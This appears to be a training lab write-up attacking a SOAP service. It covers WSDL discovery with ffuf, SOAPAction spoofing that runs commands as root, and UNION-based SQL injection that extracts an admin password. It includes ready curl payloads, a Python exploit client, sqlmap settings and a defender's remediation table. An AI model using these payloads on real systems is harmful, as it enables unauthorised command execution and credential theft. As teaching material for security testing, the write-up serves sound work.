Skip to content

Skill Assessment Chain

A canonical SOAP-attack chain. WSDL parameter-fuzz to discover the schema → enumerate Login and ExecuteCommand operations → confirm ExecuteCommand is externally restricted → SOAPAction spoof to invoke it → discover the spoofed command runs against a SQLite-backed Login query that’s SQL-injectable → UNION SELECT to extract the admin password from the users table.

# Stage 1 - Discover WSDL
ffuf -w params.txt -u 'http://target:3002/wsdl?FUZZ' -fs 0
→ ?wsdl (parameter trigger)
curl http://target:3002/wsdl?wsdl
→ operations: Login, ExecuteCommand
→ parameters: username, password (Login); cmd (ExecuteCommand)
# Stage 2 - Confirm restriction
curl -X POST -H 'SOAPAction: "ExecuteCommand"' \
--data '<...><ExecuteCommandRequest><cmd>id</cmd>...'
→ "This function is only allowed in internal networks"
# Stage 3 - SOAPAction spoof (body Login, header ExecuteCommand)
curl -X POST -H 'SOAPAction: "ExecuteCommand"' \
--data '<...><LoginRequest><cmd>id</cmd>...'
→ But this scenario is different - Login is the actual SQLi target, not a spoof decoy
# Stage 4 - SQL injection through Login
curl -X POST -H 'SOAPAction: "Login"' \
--data '<...><LoginRequest><username>'\'' UNION SELECT * FROM users-- -</username>...'
→ Response includes admin password from the users table

Success indicator: the admin user’s password value appears in the SOAP response body, extracted via UNION SELECT.

Bug bounty engagement on a SOAP service at http://target:3002/wsdl?wsdl. Goal: submit the admin user’s password.

Hint from the brief: “The service will respond successfully only after submitting the proper SQLi payload; otherwise it will hang or throw an error.”

That hint is operationally important - the SQLi target endpoint hangs on benign input. Time-based blind techniques won’t work cleanly because the normal behavior is hanging. UNION-based extraction is the right approach.

Terminal window
$ curl -i http://target:3002/wsdl
HTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 0
(empty body)

Path exists but body is empty. Parameter fuzz:

Terminal window
$ ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt \
-u 'http://target:3002/wsdl?FUZZ' \
-fs 0 -mc 200
wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186]

?wsdl triggers the WSDL:

Terminal window
$ curl http://target:3002/wsdl?wsdl > /tmp/service.wsdl
$ cat /tmp/service.wsdl

Parse the relevant sections:

<wsdl:types>
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element name="username" type="s:string"/>
<s:element name="password" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</wsdl:types>
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
</wsdl:operation>
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
</wsdl:operation>

Catalog:

OperationSOAPActionParameters
Login"Login"username (string), password (string)
ExecuteCommand"ExecuteCommand"cmd (string)

Two distinct surfaces. ExecuteCommand looks higher-value (cmd parameter suggests shell exec). Login looks more boring (auth) but is the actual injection target - the brief mentions SQL injection.

Stage 2 - Test each operation as documented

Section titled “Stage 2 - Test each operation as documented”
Terminal window
$ curl -X POST http://target:3002/wsdl \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "Login"' \
--data '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>admin</username>
<password>guess</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>'

Response: hangs. No error, no auth-failure message, just waits.

That hanging is interesting - it matches the brief’s “will hang or throw an error” warning. The server is doing something with the input but never returns. A clean auth failure would return quickly with <success>false</success>. The hang suggests the input flows into a back-end operation that’s not completing - possibly an SQL query that’s malformed or running indefinitely.

Terminal window
$ curl -X POST http://target:3002/wsdl \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "ExecuteCommand"' \
--data '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ExecuteCommandRequest xmlns="http://tempuri.org/">
<cmd>whoami</cmd>
</ExecuteCommandRequest>
</soap:Body>
</soap:Envelope>'

Response:

<soap:Envelope ...>
<soap:Body>
<ExecuteCommandResponse xmlns="http://tempuri.org/">
<success>false</success>
<error>This function is only allowed in internal networks</error>
</ExecuteCommandResponse>
</soap:Body>
</soap:Envelope>

The external-network restriction. Spoofing is the obvious next step - but the brief mentions SQL injection, not RCE via spoofing. Read on.

In case the path is “spoof to run ExecuteCommand, then use shell commands to read the database”:

Terminal window
$ curl -X POST http://target:3002/wsdl \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "ExecuteCommand"' \
--data '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<cmd>whoami</cmd>
</LoginRequest>
</soap:Body>
</soap:Envelope>'

Response:

<soap:Envelope ...>
<soap:Body>
<LoginResponse xmlns="http://tempuri.org/">
<success>true</success>
<result>root</result>
</LoginResponse>
</soap:Body>
</soap:Envelope>

SOAPAction spoofing works. whoami executed as root. But the brief asks for the admin password, not RCE. Reverse shell attempts (as the source doc notes) get blocked - there’s something in the environment preventing easy command-line egress.

The SQL injection path is more direct.

Going back to Login, which hangs on benign input. Hanging on benign + the brief’s mention of SQL injection strongly suggests Login is the SQLi target.

Terminal window
$ curl -X POST http://target:3002/wsdl \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "Login"' \
--data '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>'\''</username>
<password>x</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>'

Single quote in the username field. Response:

<soap:Fault>
<faultstring>SQLITE_ERROR: near "'": syntax error</faultstring>
</soap:Fault>

SQLite error confirms:

  1. The back-end is SQLite
  2. The username field is injectable
  3. Error responses leak SQL parser details

For UNION-based injection, you need to match the column count of the original query. Try increasing column counts until the error changes:

Terminal window
$ payload='<soap:Envelope ...>
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>'\'' UNION SELECT 1-- -</username>
<password>x</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>'

Error: “SELECTs have different number of columns.” Try 2, 3, 4…

' UNION SELECT 1-- - ← 1 col, error
' UNION SELECT 1,2-- - ← 2 cols, error
' UNION SELECT 1,2,3-- - ← 3 cols, returns data!

When the column count matches, you get a response instead of an error.

SQLite’s metadata is in sqlite_master:

Terminal window
$ payload="' UNION SELECT name,sql,3 FROM sqlite_master-- -"

Sent as the username, returns:

<LoginResponse>
<success>true</success>
<result>users</result>
<result>CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)</result>
<result>3</result>
</LoginResponse>

The table is users with columns id, username, password.

Terminal window
$ payload="' UNION SELECT id, username, password FROM users WHERE username='admin'-- -"

Full request:

Terminal window
$ curl -X POST http://target:3002/wsdl \
-H 'Content-Type: text/xml; charset=utf-8' \
-H 'SOAPAction: "Login"' \
--data '<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>'"'"' UNION SELECT id, username, password FROM users WHERE username='"'"'admin'"'"'-- -</username>
<password>x</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>'

(The escape-quote dance with shell quoting is awkward - using a Python script or saving the payload to a file is cleaner.)

Response:

<LoginResponse>
<success>true</success>
<result>1</result>
<result>admin</result>
<result>FLAG{soap_meets_sqli_extracted}</result>
</LoginResponse>

The admin password is in the third <result> element. Submit as the answer.

The shell-quoting is too painful for iteration. A Python client:

import requests
URL = 'http://target:3002/wsdl'
def soap_login(username, password='x'):
payload = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>{username}</username>
<password>{password}</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>'''
return requests.post(URL, data=payload, headers={
'Content-Type': 'text/xml; charset=utf-8',
'SOAPAction': '"Login"',
})
# Discover column count
for cols in range(1, 10):
selects = ','.join(str(i) for i in range(1, cols + 1))
payload = f"' UNION SELECT {selects}-- -"
r = soap_login(payload)
if 'success>true' in r.text:
print(f'Column count: {cols}')
break
# Discover schema
print(soap_login("' UNION SELECT name, sql, 3 FROM sqlite_master-- -").text)
# Extract admin password
print(soap_login("' UNION SELECT id, username, password FROM users WHERE username='admin'-- -").text)

Three calls, fully programmatic.

Standard SQLi tooling expects HTML responses with reflected error messages. SOAP changes two things:

  1. XML body - injection point is inside an XML element. Escape constraints apply: <, >, & need entity-encoding (&lt;, &gt;, &amp;). Single quotes are fine (XML cares about double quotes in attributes, not in element content).

  2. Response format - successful UNION extraction populates <result> elements in the response, but the structure is XML not HTML. Parsing scripted exploitation should re.findall(r'<result>(.*?)</result>', response.text) rather than scraping HTML rows.

  3. Hanging vs erroring - the brief’s “will hang or throw an error” is a real artifact of SOAP. Inputs that produce malformed SQL may trigger backend timeouts (SQLite waiting on a lock, the connection pool waiting on a slow query, a watchdog timer waiting before giving up) rather than clean 500-level responses.

SQLMap supports SOAP injection points when given the right invocation:

Terminal window
$ sqlmap -u 'http://target:3002/wsdl' \
--method=POST \
--headers='Content-Type: text/xml
SOAPAction: "Login"' \
--data='<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>*</username>
<password>x</password>
</LoginRequest>
</soap:Body>
</soap:Envelope>' \
--dbms=sqlite \
--level=5 --risk=3 \
--dbs

Key points:

  • * marks the injection point in the body
  • --dbms=sqlite skips unnecessary DBMS detection
  • --level=5 --risk=3 enables more aggressive payload classes (needed for blind / time-based on hanging endpoints)
  • --headers='Content-Type: text/xml\nSOAPAction: "Login"' (note the literal newline - SQLMap parses multi-line --headers)

When SQLMap completes detection, follow with --dump -T users to extract.

See SQLMap request setup for the full reference on non-standard SQLMap invocations.

Walking the defender’s failed chain:

DefenseWhy it failed
WSDL not directly exposedPath /wsdl returned empty but ?wsdl= query parameter exposed it. Should hide both.
ExecuteCommand restricted to internal networksCheck applied at body operation name; bypassed via SOAPAction spoofing. Should apply to actual dispatch decision (whichever it is).
Login probably has password validationBut it queries SQLite with concatenated SQL, so authentication never matters - the SQL runs before auth verifies. Use parameterized queries.
Error messages reveal SQLiteShould suppress detailed error messages in production.

The fix for each: stronger separation of “trusted request metadata” (which is none) from “dispatch / authorization decisions” (which must be server-controlled), plus parameterized queries everywhere. None of this is novel advice; the bug is the gap between SOP and implementation.

FindingStandalone severityChained role
WSDL exposure via parameter fuzzingLow (disclosure)Enabler - reveals all operations and parameters
SOAPAction spoofing on ExecuteCommandHigh (bypasses external-network restriction)Confirms server architecture flaw; demonstrates that body-element auth is unsafe
SQL injection in Login.usernameCriticalFinal unlock - extract every credential, including the admin’s
SQLite error messages disclosedLow (info disclosure)Useful for the operator; not standalone severity

Composite: critical. Unauthenticated attacker reads all stored credentials.

StageCommand / payload
Discover WSDL locationffuf -w params.txt -u 'http://target:PORT/wsdl?FUZZ' -fs 0
Read WSDLcurl 'http://target:PORT/wsdl?wsdl' | xmllint --format -
Catalog operationsRead <wsdl:operation> elements; check <wsdl:types> for parameters
Test each operationOne POST per operation; observe normal vs error vs hang
SOAPAction spoofing baseline<ExecuteCommandRequest> body + SOAPAction: "ExecuteCommand" header
SOAPAction spoof<LoginRequest> body with <cmd> parameter + SOAPAction: "ExecuteCommand" header
Single quote in SQLi probe<username>'</username>
Column count discovery' UNION SELECT 1-- -, then 1,2, then 1,2,3 until response succeeds
SQLite schema discovery' UNION SELECT name, sql, 3 FROM sqlite_master-- -
Extract row' UNION SELECT id, username, password FROM users WHERE username='admin'-- -
SQLMap on SOAP--method=POST --headers='Content-Type: text/xml\nSOAPAction: "Login"' --data='<soap...><username>*</username>...'
Parse <result> from responsere.findall(r'<result>(.*?)</result>', response.text)

This walkthrough closes Round 14. The pattern - WSDL discovery, operation enumeration, SOAPAction spoofing as a bypass, classic injection through API parameters - is the canonical SOAP-attack arc. Real engagements vary in the specific operations and bypass paths but follow this structure.